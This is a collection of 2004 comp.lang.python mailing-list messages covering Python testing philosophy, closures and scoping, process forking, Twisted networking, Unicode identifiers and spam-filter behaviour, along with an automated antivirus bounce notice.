Date: Thu, 19 Feb 2004 14:57:45 -0700
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com><3064b51d.0402181326.1b046f29@posting.google.com><1039hhilrs4rb5@corp.supernews.com>
	<3064b51d.0402191330.17ed59b0@posting.google.com>
Message-ID: <03b001c3f733$6873acf0$6401fea9@YODA>

beliavsky wrote:
> Another point. Python advocates often claim it is better than compiled
> languages because the code is much shorter. They rebut worries about
> the loss of safety by recommending unit testing. In a Fortran 95 or
> C++ program, I don't think as many tests need to be written, because
> the compiler catches many more things. If you include the amount of
> testing code when counting the amount of code needed, I suspect
> Python's brevity advantage will partly disappear. Also, I regard unit
> tests to check what happens when a Python function is called with
> invalid arguments (int instead of float, scalar instead of array) as
> low-level, tedious work that I would rather delegate to a compiler.
> Scripting advocates claim that their languages are higher level than
> compiled languages, but in this case the reverse is true -- the
> compiler does more work for you than the interpreter does.

Interesting thread! One minor nit though: writing the type of low-level tests
you describe above is almost always a no-no for Python programs. Good tests
tend to be geared towards functionality, so that the number and type of tests
correlates more closely to the features and algorithmic complexity of the code
than it does to the language.

Those ultra tedious low-level tests are usually a waste of time because they
end up covering cases that either never happen in practice or cases that are
already covered by tests that cover real functionality. In fact, really the
only time where I've come across the need for those types of tests is in
_other_ languages (C++) because they are more common in languages that require
the programmer to manage more details, and because failing to test those
conditions results in a hard crash of the program (tests like "properly rejects
null pointers passed in" and "doesn't access beyond array bounds").

IOW, in the *worst* case you invest the same amount of time and effort testing
your Python application as you spend testing your C++ (or whatever)
application - I haven't come across ANY case in practice where you end up
investing more effort; in fact I'd say that in our projects we end up spending
considerably less effort because (1) we get to skip precisely the type of tests
you're talking about and (2) the setup/teardown/test code is much more consise
and reusable (which is why in the past we've used Python as the test language
for applications written in other languages).

In theory, yes, you could have a Python function that gets passed a scalar when
it was expecting an array, but in order for that to occur you almost always
have a gaping hole in your suite of higher-level _feature_ tests. With adequate
feature and system test coverage (which you'll need regardless of the
implementation language), the probability of encountering a scalar vs array
error is way less likely than e.g. a null pointer access bug.

-Dave




From peter at engcorp.com  Thu Feb 19 10:27:55 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 10:27:55 -0500
Subject: getattr
References: <mailman.45.1077160900.27104.python-list@python.org>
Message-ID: <4034D5FB.5F57998F@engcorp.com>

> Srikanth Mandava wrote:
> 
> How can getattr() be used to call a constructor method?

First thing to understand is that "constructor method" is an unclear
concept in Python.  *Old-style* classes don't have constructors, they
have the __init__ initializer method.  When you call it, you don't
get back an instance, since it returns None.

New-style classes have a different approach, and real constructors
are available.  (As I understand it... heck, I haven't even used
them yet! :-)

Are you perhaps thinking of using getattr() to get a reference to the
__init__ method of something, and then calling it?  Why would you
want to use getattr() for that when you can just as for the method
reference directly?  But more to the point: that won't work, since
__init__ is not a constructor.  What you would really be looking for
in this case is the __class__ property, which is callable and which
is probably the closest thing to the "constructor" concept that you
will find here.

If none of this answers the question, try again with more detail
and maybe an example of what you were hoping to do, even if it
doesn't actually work or isn't syntactically correct Python, and
then we'll have a clue what you mean. 

-Peter


From martin at v.loewis.de  Tue Feb 10 14:14:48 2004
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Tue, 10 Feb 2004 20:14:48 +0100
Subject: Allowing non-ASCII identifiers
In-Reply-To: <mailman.1391.1076369629.12720.python-list@python.org>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>	<4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
Message-ID: <c0baj5$f7a$02$1@news.t-online.com>

Paul Prescod wrote:

> You are right. Re-reading Guido's complaint I understand what you mean. 
> But I have heard the argument in the past that Unicode source files 
> would break introspection tools. If that isn't a concern this time 
> around then disregard my suggestion.

That might be a problem, indeed. OTOH, those tools likely also
break if you use non-ASCII byte strings for identifiers.

Regards,
Martin



From kkto at csis.hku.hk  Sun Feb  8 09:22:37 2004
From: kkto at csis.hku.hk (Isaac To)
Date: Sun, 08 Feb 2004 22:22:37 +0800
Subject: fork, exec, and disown
References: <pan.2004.02.08.11.36.25.192799@ifrance.com>
Message-ID: <7iy8rdd51u.fsf@enark.csis.hku.hk>

>>>>> "Benoit" == Benoit Dejean <bnet at ifrance.com> writes:

    Benoit> hello, i have a question about forking processes atm, i have
    Benoit> some code which i want to rewrite

    Benoit> os.system("cd ~ && exec " + cmd + " & disown")

    Benoit> i want to remove this os.system call

    Benoit> def fork_exec_disown(cmd, dir="~"):
    Benoit> if os.fork()==0:
    Benoit> os.chdir(os.path.expanduser(dir)) os.setsid() os.umask(0)
    Benoit> if os.fork(): sys.exit(0)
    Benoit> cmd = cmd.split() os.execvp(cmd[0], cmd)
      
    Benoit> but i am not sure that this have the same behaviour.  is the
    Benoit> second fork needed ? i think so to detach the spawn process i
    Benoit> have found in the os doc, os.setsid, i think i have to use it.

    Benoit> am i going wrong or is this simple

    Benoit> def fork_exec_disown(cmd, dir="~"):
    Benoit> if os.fork()==0: os.chdir(os.path.expanduser(dir)) cmd =
    Benoit> cmd.split() os.execvp(cmd[0], cmd)
        
    Benoit> a good replacement for my os.system call

You can do that, but if you run ps you'll notice that all you processes get
into a Z (zombie), <defunct> state.  Sooner or later you'll have the fork()
giving you error that "resource temporarily not available" because all
process numbers are used up.  With the "double fork" technique you can avoid
this by adding a wait at the end:

def fork_exec_disown(cmd, dir="~"):
    if os.fork() == 0:
        if os.fork():
            sys.exit(0)
        os.chdir(os.path.expanduser(dir))
        cmd = cmd.split()
        os.execvp(cmd[0], cmd)
    os.wait()

The wait will wait only for the child, not the grand-child.  If you don't
have that you'll start accumulating zombies.  In some OS you can avoid the
double forking overhead by manipulating the signal handler of SIGCHLD (so
that it has the flag SA_NOCLDWAIT and has handler SIG_IGN), but that is more
platform dependent than fork().

Regards,
Isaac.


From bart_nessux at hotmail.com  Thu Feb 12 09:43:30 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Thu, 12 Feb 2004 09:43:30 -0500
Subject: str.find for multiple strings
In-Reply-To: <5hel20hgg1cs65rsog2jp0eg35dsn6rrq1@4ax.com>
References: <c0drlj$hsj$1@solaris.cc.vt.edu> <402A7FDC.8D47A02B@engcorp.com>
	<c0e0u6$p8g$1@solaris.cc.vt.edu>
	<5hel20hgg1cs65rsog2jp0eg35dsn6rrq1@4ax.com>
Message-ID: <c0g3ei$269$1@solaris.cc.vt.edu>

Dave K wrote:
> On Wed, 11 Feb 2004 14:48:22 -0500 in comp.lang.python, Bart Nessux
> <bart_nessux at hotmail.com> wrote:
> 
> 
>>Peter Hansen wrote:
>>
>>>Bart Nessux wrote:
>>>
>>>
>>>>x = str.find(temp, '120.50')
>>>>
>>>>I am looking for '120.50' '120.51' '122.78' etc. How can I do this with
>>>>just one str.find... I can use re if I must, but I'd like to avoid it if
>>>>possible.
>>>
>>>
>>>In addition to Fecundo's questions, here's another.  What does "temp"
>>>contain?  A single temperature string, or a temperature embedded in
>>>a bunch of other stuff, or a whole series of temperatures, or what?
>>>
>>>-Peter
>>
>>Here's what I'm doing
>>
>>def exclude():
>>   import os
>>   os.chdir('/home/rbt/scripts')
>>   inputFile = file('ath_ips.txt', 'r')
>>   data = inputFile.read()
>>   inputFile.close()
>>   comment = '#'
>>   net0 = '128.173.120.'
>>   net1 = '128.173.122.'
>>   host0 = ['50','51','52','53','54','55']
>>   host1 = ['17','25','49','50','55','58','70']
>>   for h0 in host0:
>>      h0 = net0+h0
>>      rep0 = comment+h0
>>      sea0 = str.find(data, h0)
>>      if sea0 >=0:
>>         data = data.replace(h0, rep0)
>>   for h1 in host1:
>>      h1 = net1+h1
>>      rep1 = comment+h1
>>      sea1 = str.find(data, h1)
>>      if sea1 >=0:
>>         data = data.replace(h1, rep1)
>>   outputFile = file('ath_ips.txt', 'w')
>>   outputFile.write(data)
>>   outputFile.close()
>>
> 
> 
> There's no need to do an explicit find() before replace(). Your 'for'
> loops can be written as
> 
>    for h0 in host0:
>       data = data.replace(net0+h0, comment+net0+h0)
>    for h1 in host1:
>       data = data.replace(net1+h1, comment+net1+h1)
> 
> 
> Or reduce it to one 'for' loop with list_comprehensions
> 
>    for host in [net0+h0 for h0 in host0] + [net1+h1 for h1 in host1]:
>       data = data.replace(host, comment+host)
> 
> Dave

Thanks Dave. That's very helpful.



From maxm at mxm.dk  Mon Feb  2 08:15:14 2004
From: maxm at mxm.dk (Max M)
Date: Mon, 02 Feb 2004 14:15:14 +0100
Subject: Smarter way of doing this?
Message-ID: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>

I have written this function, "choose_by_probability()"

It takes a list of probabilities in the range 0.00-1.00, and it must 
then randomly select one of the probabilities and return it's index.

The idea is to have two lists, one with a value, and another with a 
probability. The value then gets randomly selected from its probability.

values = ['item 1','item 2','item 3',]
probabilities = [0.66, 0.33, 0.16]

print values[choose_by_probability(probabilities)]
 >>'item 1'

etc...

I just wondered if anybody has a better way of doing it, as this seems 
nastily squared to me?


regards Max M


###################

from random import random

def choose_by_probability(probabilities):
     "Randomly selects an index from a list of probabilities"
     rnd = random() * sum(probabilities)
     range_start = 0.0
     for i in range(len(probabilities)):
         probability = probabilities[i]
         range_end = range_start + probability
         if range_start < rnd < range_end:
             return i
         range_start = range_end


probabilities = []
for f in range(0,16):
     probabilities.append(1.0 / (f+1.0))

print probabilities

# writing it out sorted to do a visual test...
result = []
for i in range(100):
     result.append(choose_by_probability(probabilities))
result.sort()
print result


From scare.crow at oz.land  Tue Feb 24 07:40:11 2004
From: scare.crow at oz.land (Eric Moors)
Date: Tue, 24 Feb 2004 13:40:11 +0100
Subject: undefined symbol: PyUnicodeUCS2_FromUnicode
Message-ID: <c1fgnc$e2e$1@news.surfnet.nl>

/home/me>redhat-config-services

Traceback (most recent call last):
  File "/usr/share/redhat-config-services/serviceconf.py", line 26, in ?
    import gtk
  File "/usr/lib/python2.2/site-packages/rhpl/__init__.py", line 43, in ?
    # dummy __init__ so that things work
  File "/usr/lib/python2.2/ihooks.py", line 397, in import_module
    q, tail = self.find_head_package(parent, name)
  File "/usr/lib/python2.2/ihooks.py", line 433, in find_head_package
    q = self.import_it(head, qname, parent)
  File "/usr/lib/python2.2/ihooks.py", line 486, in import_it
    m = self.loader.load_module(fqname, stuff)
  File "/usr/lib/python2.2/ihooks.py", line 268, in load_module
    m = self.hooks.load_dynamic(name, filename, file)
  File "/usr/lib/python2.2/site-packages/gtk-2.0/ltihooks.py", line 51, in
load_dynamic
    return ihooks.Hooks.load_dynamic(self, name, filename, file)
  File "/usr/lib/python2.2/ihooks.py", line 172, in load_dynamic
    return imp.load_dynamic(name, filename, file)
ImportError: /usr/lib/python2.2/site-packages/gtk-2.0/gtk/_gtk.so: undefined
symbol: PyUnicodeUCS2_FromUnicode

I got the above problem after trying to install Pythonol on my (redhat 9)
system, and for that I installed (IIRC) pygtk. Probably also some other
dependencies. I just don't know anymore, because I did not immediately
notice this problem. However after a while I noticed the redhat-config
scripts could no longer be launched. Then I found out the problem pasted
above was causing that.

After noticing this I have reinstalled every python related package on my
system I could find, but this problem won't go away. I have no clue where
to look and what to do to fix this problem.

I am absolutely clueless when it comes to python, so I probably shouldn't
have messed with it (I had no idea python was so frequently used). But now
that just means I have no idea where to look or what to do next to get this
problem solved. Is there anyone who has an idea as to what is wrong and how
it can be solved? It is driving me crazy, and I'd hate to reinstall my
system just to get this fixed.

Eric


From aa at bb.cc  Tue Feb  3 11:59:45 2004
From: aa at bb.cc (Ladvánszky Károly)
Date: Tue, 03 Feb 2004 16:59:45 GMT
Subject: pyc files
Message-ID: <69d3be0f3471ddb46f07af86e9e12ddf@news.meganetnews.com>

What are pyc files?

Thanks,

K?roly




From joe at notcharles.ca  Sat Feb 21 12:09:23 2004
From: joe at notcharles.ca (Joe Mason)
Date: Sat, 21 Feb 2004 17:09:23 GMT
Subject: #! Question
References: <30875970.0402191650.57dfe998@posting.google.com>
	<40367658$1@nntp0.pdx.net> <c16v8a$87n$1@news.service.uci.edu>
Message-ID: <slrnc3f2jp.9s6.joe@gate.notcharles.ca>

Is anyone else reading the title of this thread as a curse?

Joe


From kylotan at hotmail.com  Mon Feb  2 18:48:51 2004
From: kylotan at hotmail.com (Kylotan)
Date: 2 Feb 2004 15:48:51 -0800
Subject: Python vs. Io
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
	<mailman.1108.1075669832.12720.python-list@python.org>
	<1075702864.490920@yasure>
Message-ID: <153fa67.0402021548.6c5e394@posting.google.com>

"Donn Cave" <donn at drizzle.com> wrote in message news:<1075702864.490920 at yasure>...

> But if the feed function had been outside this hierarchy, we would
> be writing instead
>    feed(parser, data)
> 
> Why isn't that a violation of the object abstraction?  Simply make
> it generic and let the above notation serve in either case, and you
> don't have to know the implementation in order to use it.
> 
> Now I'll admit that this level of abstraction does pose a problem
> with scope and legibility, and that might have to be addressed.
> My point though is that we already accept this problem as a cost
> of doing OO business, so it's kind of surprising to me that OO
> languages invariably stop there, instead of going all the way.
> They'll proudly declare that `everything is an object', but don't
> wonder about the distinction between functions and methods.

>From my point of view (C++ and general OOP background) this comes down
to access privileges and the visible implications of the code.

feed(parser, data) implies that feed has equal access privileges to
both parser and data, and that parser and data are unchanged by the
operation. It's vaguely saying "I want something to happen based on
parser and data".

parser.feed(data) implies that feed has enhanced access privileges to
parser compared to its access to data. In particular it implies that
parser maintains some sort of state and that data is just an argument.
It's saying "I want parser to do something based on data".

In Python this is mainly just a semantic issue since you don't have
the rigorous public/private/protected system that C++ does. But it
does usually provide useful hints as to what the main object in any
given interaction is. (ie. distinguishing between controller and
entity classes, in UML terms.) Of course, it's entirely a religious
matter in much the same way as arguing for a clear distinction between
functions and subroutines would be. Just different ways of looking at
it to suit different thought processes.

-- 
Ben Sizer


From 2002 at weholt.org  Sun Feb 29 15:30:34 2004
From: 2002 at weholt.org (Thomas Weholt)
Date: Sun, 29 Feb 2004 21:30:34 +0100
Subject: A database-abstraction package?
Message-ID: <EZr0c.7454$rj4.100210@news2.e.nsc.no>

Hi,

I need to make my project work with SQLite, MySQL and Postgresql, but I
don't want to create and maintain a set of table-schemas for all of them.
I'd rather specify this information in a common format and then let some
piece of code generate and run the sql-statements to create the tables in
the database. When I insert, update or delete records I also want a common
interface. In my project I use alot of auto-increment primary keys so this
would have to be handled as well.

Does anybody know if there are any such module or package available already?
If not I've got to start working on one and it would be nice to have some
pointers or guidelines if somebody has any ideas or opionions. A system
capable of handling any database would be best, but as a minimum I need to
support SQLite and MySQL, on Linux and Windows.

Thomas




From theller at python.net  Thu Feb  5 09:20:06 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 05 Feb 2004 15:20:06 +0100
Subject: counting references to an instance
References: <pan.2004.02.04.18.55.02.385092.6672@sympatico.ca>
	<hdy6d4d0.fsf@python.net> <m3fzdpaeqk.fsf@pc150.maths.bris.ac.uk>
Message-ID: <ad3xbobt.fsf@python.net>

Michael Hudson <mwh at python.net> writes:

> Thomas Heller <theller at python.net> writes:
>> 
>> In Python debug builds, there's the sys.getrefcount() function.
>
> In *all* builds, there's sys.getrefcount().  Are you thinking of
> sys.gettotalrefcount()?

Yes, probably.  Thanks for the correction.

Thomas


From newsgroups at jhrothjr.com  Mon Feb  9 20:53:14 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 9 Feb 2004 20:53:14 -0500
Subject: Allowing non-ASCII identifiers
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
Message-ID: <102geglh6cprm45@news.supernews.com>


"Paul Prescod" <paul at prescod.net> wrote in message
news:mailman.1391.1076369629.12720.python-list at python.org...
Martin v. L?wis wrote:

> Paul Prescod wrote:
>
>> I wonder if the proposal would be more palatable if it were restricted
>> to 8-bit encodings (what we used to call "code pages"). This is at
>> least a first step in the right direction that would help westerners
>> and could be made to work even if Python were compiled without Unicode
>> support. (it is still possible to compile Python without Unicode isn't
>> it?)
>
>
> I doubt that it would matter much to those currently opposed; I know
> that *I* would be opposed to such a strategy: Allowing arbitrary source
> code encoding is no technical challenge whatsoever, and restricting
> it to single-byte encodings is an arbitrary restriction.

You are right. Re-reading Guido's complaint I understand what you mean.
But I have heard the argument in the past that Unicode source files
would break introspection tools. If that isn't a concern this time
around then disregard my suggestion.

[JR]
I believe that unicode (actually UTF-8) source code files
are legitimate if you declare them properly in the encoding
line. In fact, UTF-8 is the example in the documentation.

I'm all in favor of going to unicode all the way. I'd like to
have the proper mathematical symbols for logical and set
operations, as well as integer divide. They're all there in the
unicode character set, after all; why should we have to
settle for archaic character restrictions?

John Roth
[/JR]

  Paul Prescod






From jacek.generowicz at cern.ch  Sun Feb 29 19:16:10 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 01 Mar 2004 01:16:10 +0100
Subject: Feature request: subclassing FunctionType [Was: Some language
	proposals]
References: <95aa1afa.0402262158.5b33de79@posting.google.com>
	<tyffzcwbm7x.fsf@pcepsft001.cern.ch>
	<95aa1afa.0402272327.29828430@posting.google.com>
Message-ID: <tyfsmgtbewl.fsf@lxplus030.cern.ch>

michele.simionato at poste.it (Michele Simionato) writes:

> I don't know Common Lisp, but Scheme scope rules do what I expect:
> 
> (define (make-adders n)
>   (unfold (cut = <> n) (lambda (i) (lambda (x) (+ x i))) add1 0))
> 
> (define-values (add0 add1) (apply values (make-adders 2)))
> 
> (print (add0 0)) ;=> 0
> (print (add1 0)) ;=> 1

I think that you are misleading yourself. You are comparing apples to
quinces.

Let's try to reproduce your Scheme code in Python. (I'm no Schemer,
but here goes ...).  Googling for "scheme unfold" comes up with
something which I can fake in Python more or less like this:

def unfold(p, f, g, seed):
    if p(seed):
        return []
    return [f(seed)] + unfold(p, f, g, g(seed))

I'm guessing that add1 does this:

def scheme_add1(n): # don't name-clash with the add1 we're about to
make
    return n+1

Allow me to simplify cut to the following, which I hope you will agree
does what you want in this particular case:

def cut(limit): # [*]
    def cut(x):
        return not x<limit
    return cut

Now our user code becomes

def make_adders(n):
    return unfold(cut(n), lambda i: lambda x:x+i, scheme_add1, 0)

add0, add1 = make_adders(2)

print add0(0) # => 0
print add1(0) # => 1

Note: Python gives the same results as Scheme.

So, what's going on? The original problem was that all the closures
that you generated in your Python code shared a single binding for
their free variable. The solution is to create an inner binding unique
to each closure, which shadows the original shared binding. In your
Python solution you achieve this by creating a local variable i, which
shadows the outer i (so the i in the lambda is no longer free, and the
lambda is no longer a closure); in my CL solution I achieve this by
creating a new binding of i using let (which is still outside of the
scope of the lambda, so lambda's i remains free, and therefore it
remains a closure). In your Scheme solution, and my Python translation
of it, you'll see that we have:

  lambda i: lambda x:x+i

which gets called by unfold to create the closure you want. Note that
you are rebinding i in the outer lambda, each time unfold calls it to
create a closure over the next number in the sequence, and that
binding is visible only to the single closure being returned from that
invocation of the outer lambda. So, to compare like to like, you
should do the same in your original Python attempt.

def make_adders(n):
    return [ (lambda i: lambda x:x+i)(i) for i in range(n) ]

add0, add1 = make_adders(2)
print add0(0) # => 0
print add1(0) # => 1

So, you see, Python's scoping rules are just like Scheme's, in this
sense. Unfortunately, I don't think that it's so easy (or even
possible?) to demonstrate it the other way around (ie show a Scheme
snippet in which add0(0) == add1(0) == 1), because of Scheme's
insistence on using recursion to implement iteration. You see, in both
the Python and the Common Lisp versions of the original, there is a
single biding of i in the loop, which gets modified as the loop goes
about its business. In Scheme, the "loop variable" gets rebound each
time the looping function (eg unfold) calls itself, so for each and
every number in the sequence there is a seperate binding of seed, as
well as a separate binding of i.

Looking at it pictorially (variables with a * next to them are free,
those with a + are bound; where the value of the binding does not
change, the value is shown in parentheses; arrow up means binding
found by free variable, arrow down means binding by argument passing):

The Python case

    list comprehension: i+
                        ^
                        |
              ________ / \___
            /                \
     add0:  i*         add1:  i*


Scheme style case

  unfold: seed+ (0)
             |
             |
            / \
           |   ---(via scheme_add1)--
           |                          \
           V                           V
   lambda: i+ (0)           unfold: seed+ (1)
           ^                           |
           |                           V
     add0: i*                  lambda: i+ (1)
                                       ^
                                       |
                                 add1: i*

The scoping rules in the two languages are pretty much the same, but
the scheme code throws in lots of extra scopes which are absent from
the (original) Python code.

If you can find a way of making a genuine loop in Scheme, you should
observe similar behaviour to that of the original Python example.

> However, now that I see that there are languages that implement the
> scope rule I would expect

I hope that you agree, by now, that Scheme is _not_ an example of such
a language.

If you need more convincing, how about the following?

guile> (define (make-adder i)
  (list (lambda (x) (+ x i))
        (lambda (n) (set! i (+ i n)))))
guile> (define tmp (make-adder 5))
guile> (define add5 (car tmp))
guile> (define hehe (cadr tmp))
guile> (add5 3)
8
guile> (hehe 1000)
guile> (add5 3)
1008

Conclusion: the value of i that add5 sees, is definitely _not_ fixed
at the time of creation of add5.

> and since I don't see a real life case where Python default of using
> the value of "i" as the usage time is useful,

You are effectively saying that you don't see the point of using the
run-time value of a variable, and that you'd rather be stuck with the
first value that was ever assigned to the variable. You'd never claim
this was the right thing for bound variables (including globals
referenced in a local scope), would you? And I don't believe that you
_really_ think it is appropriate for free variables either.

Try the following:

x = 3
def show(): global x; print x
show() # => 3
x += 1
show() # => 4

def outer():
    x = 3
    def show(): print x
    show() # => 3
    x += 1
    show() # => 4
outer()

... which prints out the numbers 3,4,3 and 4.

You don't really believe that the last number should be 3, do you ?

[In case anyone is in any doubt, the following is essentially
identical

def outer(x):
    def show(): print x
    show() # => 3
    x += 1
    show() # => 4
outer(3)
]

[*] def cut(limit):
        def cut(x):
            return not x<limit
        return cut

Sorry, I should have written cut as follows, which is much clearer and
more Pythonic, of course

    class cut:
    
        def __init__(self,limit):
            self.limit = limit
    
        def __call__(self,x):
            return not x<limit

:-)


From http  Wed Feb 18 22:02:45 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 19:02:45 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com> <40330A95.DF809EAA@alcyone.com>
	<4f0a9fdb.0402180457.6c96853d@posting.google.com>
	<ql87309o5jg1qsro0tu89gb996635t0k9j@4ax.com>
	<mailman.41.1077153034.27104.python-list@python.org>
Message-ID: <7xhdxnzs8a.fsf@ruckus.brouhaha.com>

Jeff Epler <jepler at unpythonic.net> writes:

> > I've certainly run into this using urllib2.
> 
> Push the "yucky" while 1: loop into a generator function,
...

> The "while 1:" loop is now so short that a simple glance can take it all
> in, and the site with the logic uses the much clearer 'for' loop.

Yeah, except now you've bloated up your code with another function.
Assignment expression solves this one too.



From PPNTWIMBXFFC at spammotel.com  Wed Feb 25 03:57:22 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: 25 Feb 2004 00:57:22 -0800
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>
	<mailman.65.1077658396.8594.python-list@python.org>
Message-ID: <15c2d03b.0402250057.6d3478b4@posting.google.com>

"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message news:<mailman.65.1077658396.8594.python-list at python.org>...

I can see that tuples have their utility as a dict key. And from other
postings as well, I conclude: Tuples as dictionary keys are common
practice and are therefore here to stay.

Thanks,
Cheers,
Marco


From jcarlson at nospam.uci.edu  Fri Feb 20 00:15:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 19 Feb 2004 21:15:24 -0800
Subject: Socket Programming in Python
In-Reply-To: <mailman.62.1077198942.27104.python-list@python.org>
References: <mailman.62.1077198942.27104.python-list@python.org>
Message-ID: <c145a6$rej$1@news.service.uci.edu>

 > from socket import *

is not required.  In fact, that leads to namespace pollution that may 
cause problems for users later.

Most socket applications that I've seen tend to use 'import socket', 
then refer to all the various constants by socket.AF_INET and such.

Another thing worth mentioning is that while UDP datagrams are useful 
when you don't care about your data, TCP streams tend to do what people 
expect (no information gets re-arranged, etc.).

  - Josiah


From andrew-pythonlist at puzzling.org  Sun Feb 29 19:51:49 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Mon, 1 Mar 2004 11:51:49 +1100
Subject: Twisted: How to sendLine from outside the LineReceiver class?
In-Reply-To: <wKq0c.6979$ED1.4783@fe03.usenetserver.com>
References: <wKq0c.6979$ED1.4783@fe03.usenetserver.com>
Message-ID: <20040301005149.GF3669@frobozz>

[You'll probably get more answers to Twisted questions on the Twisted
mailing-list: twisted-python at twistedmatrix.com]

On Sun, Feb 29, 2004 at 02:06:07PM -0500, Qp wrote:
> Hello.  I'm building a simple chat server and client interface, and I've got
> everything working except for this:
> 
> While the client's basic.LineReceiver protocol class can sendLine when a
> connection is made (that is, when the class is called automatically),
> whenever I try to call sendLine from another class (my ClientFactory class)
> then I get the following error.
> 
> "in sendLine
> return self.transport.write(line + self.delimiter)
> AttributeError: 'NoneType' object has no attribute 'write'"
> 
> So, I assume the instance of the LineReceiver is not set up properly.  How
> do I do this?
> 
> The code I am using for the classes is as follows.  The error comes when I
> call chatFactory.sendMessage():
> 
[...]
> class chatFactory(protocol.ClientFactory):
>     protocol = chatClient
> 
[...]
>     def sendMessage(self):
>         c = chatClient()
>         c.sendLine("Hey there")

I see you are using ClientFactory, so I presume you want to make a client
connection to a remote server with this protocol.

You need to connect your protocol, not just create the object out of thin
air.  See:

    http://twistedmatrix.com/documents/howto/clients

and also:

    http://twistedmatrix.com/documents/current/api/twisted.internet.interfaces.IReactorTCP.html#connectTCP

I think the easiest way to do what you need is to have the protocol's
connectionMade signal the factory:

----
class ChatClient(basic.LineReceiver):

    def connectionMade(self):
        self.sendLine("A new person has entered the room!")
        self.factory.clientReady(self)

    def lineReceived(self, line):
        app.text_output.config(state=NORMAL) #enable text_output for insert
        app.text_output.insert(END, line +"\n")
        app.text_output.config(state=DISABLED)
        app.text_input.delete(0, END) #clear text_input
        app.text_output.see(END) #move scrollbar to the bottom

    def connectionLost(self, reason):
        reactor.stop()

class ChatFactory(protocol.ClientFactory):
    protocol = ChatClient

    def clientConnectionFailed(self, connector, reason):
        reactor.stop()

    def clientConnectionLost(self, connector, reason):
        reactor.stop()

    def startFactory(self):
        self.messageQueue = []
        self.clientInstance = None

    def clientReady(self, instance):
        self.clientInstance = instance
        for msg in self.messageQueue:
            self.sendMessage(msg)

    def sendMessage(self, msg='Hey there'):
        if self.clientInstance is not None:
            self.clientInstance.sendLine(msg)
        else:
            self.messageQueue.append(msg)
----

Note that I've added a simple message queue because it may take some time
for the connection to be established, so calls to sendMessage could fail if
called too soon.  The queue avoids that problem.

A better solution might be to not write the factory at all, and use
twisted.internet.protocol.clientCreator:

    http://twistedmatrix.com/documents/current/api/twisted.internet.protocol.ClientCreator.html

----
from twisted.python import log

# Create creator and connect
clientCreator = protocol.ClientCreator(reactor, ChatClient)
deferred = clientCreator.connectTCP(host, port)

# When connected, send a line
def connectionReady(protocol):
    protocol.sendLine('Hey there')
deferred.addCallback(connectionReady)

# Log any errors that occur (such as connection failed)
deferred.addErrback(log.err)
----

-Andrew.




From NAIGIMSESRIMAIL at gims.com  Wed Feb 25 12:40:20 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Wed, 25 Feb 2004 19:40:20 +0200
Subject: ALERT -  GroupShield ticket number OB13_1077730808_ESRIMAIL_3 was
	generated
Message-ID: <B06B8FEF47ACD7119E720040F4284591021249A4@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list at python.org <python-list at python.org>

From:
Terry Reedy <tjreedy at udel.edu>

Sent:
1781397760,29621190

Subject:
Re: test for raw string

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
Virus Name: 



	
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From tim.one at comcast.net  Sun Feb  8 01:37:41 2004
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 8 Feb 2004 01:37:41 -0500
Subject: spam classification breaker
In-Reply-To: <7xF$LJADp1IAFwO3@jessikat.fsnet.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEAMINAB.tim.one@comcast.net>

[Robin Becker]
> ....OK I guess I'm trying to get at the following hand waving argument.
> Since most people agree about what is ham or spam there must be a
> general recognizer for each.

I believe the antecedent is false, so the conclusion doesn't follow.  Most
reports I've seen said people disagree about the ham-vs-spam distinction on
3-5% of messages.  Since the error rates on a personal classifier like
SpamBayes are typically much less than that, that's highly significant
disagreement.

> My question is then, is  whether it's
> possible to define a camouflage mechanism that turns ham into spam or
> vice versa. Most people reading a newspaper article would classify it as
> spam.

Eh?

>       If I insert a short  ad v ert into the middle the quick
> scan process is gone, but     I might be able if everything is
> aet up correctly     to get   a forbidden word
> set into the text in plain si g ht even
> though it's specifically   fo r bidden by your
> all singing and dancing     B a yesian analyser. It is well known
> that word/space runs are very distracting which is why printers
> have long tried to eliminate them.

Most spam obfuscation tricks have to do with HTML tricks, hiding the words
in the source encoding, but arranging to get them *rendered* legibly despite
that.  Filters can deobfuscate, though.  Spam that *renders* in obfuscated
ways limits its effectiveness as a sales tool because of that.  If printers
find that people don't want to read text with vertical rivers of whitespace,
are people more likely to read that kind of stuff if it's trying to sell
them something they don't even want <wink>?  The point of spam isn't to be
seen, it's to sell product.

BTW, rule-based filters may go ga-ga over a single "forbidden" word, but
Bayesian filters are a preponderance-of-evidence approach -- no single
feature is strong enough on its own to drive the decision.  If they want to
sell you something, they have to give you an idea of what it is, praise its
